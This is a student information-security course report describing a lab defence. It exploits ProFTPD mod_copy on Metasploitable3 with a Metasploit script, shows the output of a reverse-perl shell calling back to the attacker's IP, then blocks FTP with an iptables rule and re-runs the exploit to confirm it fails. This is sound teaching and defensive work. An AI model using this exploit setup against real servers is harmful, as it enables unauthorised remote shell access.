

ICS344: Information Security

ICS 344 Course Project

Phase 3: Defensive Strategy Proposal

Name: Murtadha Abdulaziz ALGhadban

ID:202034580

Name: Hassan Ali Abdulaaal

ID:202042820

Name: Sajjad Mustafa ALahmad

ID:202166110

Objectives

- Prevent exploitation of ProFTPD mod_copy vulnerability
- Apply a defence mechanism to protect the vulnerable service
- Prove that the attack is no longer successful

Requirements

- Implement a working defensive solution
- Re-run the same exploit used in Phase 1 to validate the defence
- Capture and compare "before" and "after" attack results
- Include screenshots and explanation of the defence

Notes:

- Attacker's IP on Kail Linux (**192.168.56.101**)
- Victim's IP on Metasploitable3 (**192.168.56.102**)

Before Defence

```
(hassan@kali)-[~]
$ chmod +x exploit_customScript.sh

(hassan@kali)-[~]
$ ./exploit_customScript.sh
Starting Metasploit...
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
RHOST => 192.168.56.102
LHOST => 192.168.56.101
LPORT => 4444
SITEPATH => /var/www/html
PAYLOAD => cmd/unix/reverse_perl
[!] Unknown datastore option: exploit.
exploit => cmd/unix/reverse_perl
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] 192.168.56.102:80 - 192.168.56.102:21 - Connected to FTP server
[*] 192.168.56.102:80 - 192.168.56.102:21 - Sending copy commands to FTP server
[*] 192.168.56.102:80 - Executing PHP payload /z7yaN3.php
[*] 192.168.56.102:80 - Deleted /var/www/html/z7yaN3.php
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.102:44805) at 2025-04-29 19:07:53 -0400
0
```

Figure 1 Kail Linux successful exploit

In Phase 1, we exploited a vulnerability in the **ProFTPD mod_copy** module on Metasploitable3 using a custom Metasploit script. As Figure 1 shows, the exploit allowed reverse shell access from Kali Linux.

Defence Implementation

```
vagrant@metasploitable3-ub1404:~$ sudo iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -s 192.168.56.101 -j DROP
vagrant@metasploitable3-ub1404:~$ sudo iptables -L -n --line-numbers
Chain INPUT (policy ACCEPT)
num  target      prot opt source                destination            tcp dpt:21
1    DROP        tcp  --  192.168.56.101        0.0.0.0/0              tcp dpt:21

Chain FORWARD (policy ACCEPT)
num  target      prot opt source                destination

Chain OUTPUT (policy ACCEPT)
num  target      prot opt source                destination
```

Figure 2 Applying iptables defence rule on Metasploitable3

As shown in **Figure 2**, **iptables** rule was applied which is a host-based firewall rule on Metasploitable3 that blocks all TCP traffic on port 21 from the attacker's IP (192.168.56.101). Therefore, this effectively cut off access to the FTP service used by the Attacker.

Commands:

sudo iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -s 192.168.56.101 -j DROP

- Drops all FTP packets (TCP port 21) only from the attacker's IP (192.168.56.101)
- Inserts the rule at the top of the firewall chain to override any ACCEPT rules

sudo iptables -L -n --line-numbers

- To confirm that the first rule was applied

After Defence

```
(hassan@kali)-[~]
$ telnet 192.168.56.102 21
Trying 192.168.56.102 ...
telnet: Unable to connect to remote host: Connection timed out

(hassan@kali)-[~]
$ ./exploit_customScript.sh
Starting Metasploit...
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
RHOST => 192.168.56.102
LHOST => 192.168.56.101
LPORT => 4444
SITEPATH => /var/www/html
PAYLOAD => cmd/unix/reverse_perl
[!] Unknown datastore option: exploit.
exploit => cmd/unix/reverse_perl
[*] Started reverse TCP handler on 192.168.56.101:4444
[-] 192.168.56.102:80 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.56.102:21) timed out.
[*] Exploit completed, but no session was created.
```

Figure 3 Kail Linux failed exploit

After applying the firewall rule, the defence was validated using two tests from Kali:

1. Telnet test:

- telnet 192.168.56.102 21
- Result: Connection timed out. Which ensures that FTP port access failed.

2. Re-running the exploit script:

- ./exploit_customScript.sh
- Script failed with Rex::ConnectionTimeout and no reverse shell was created.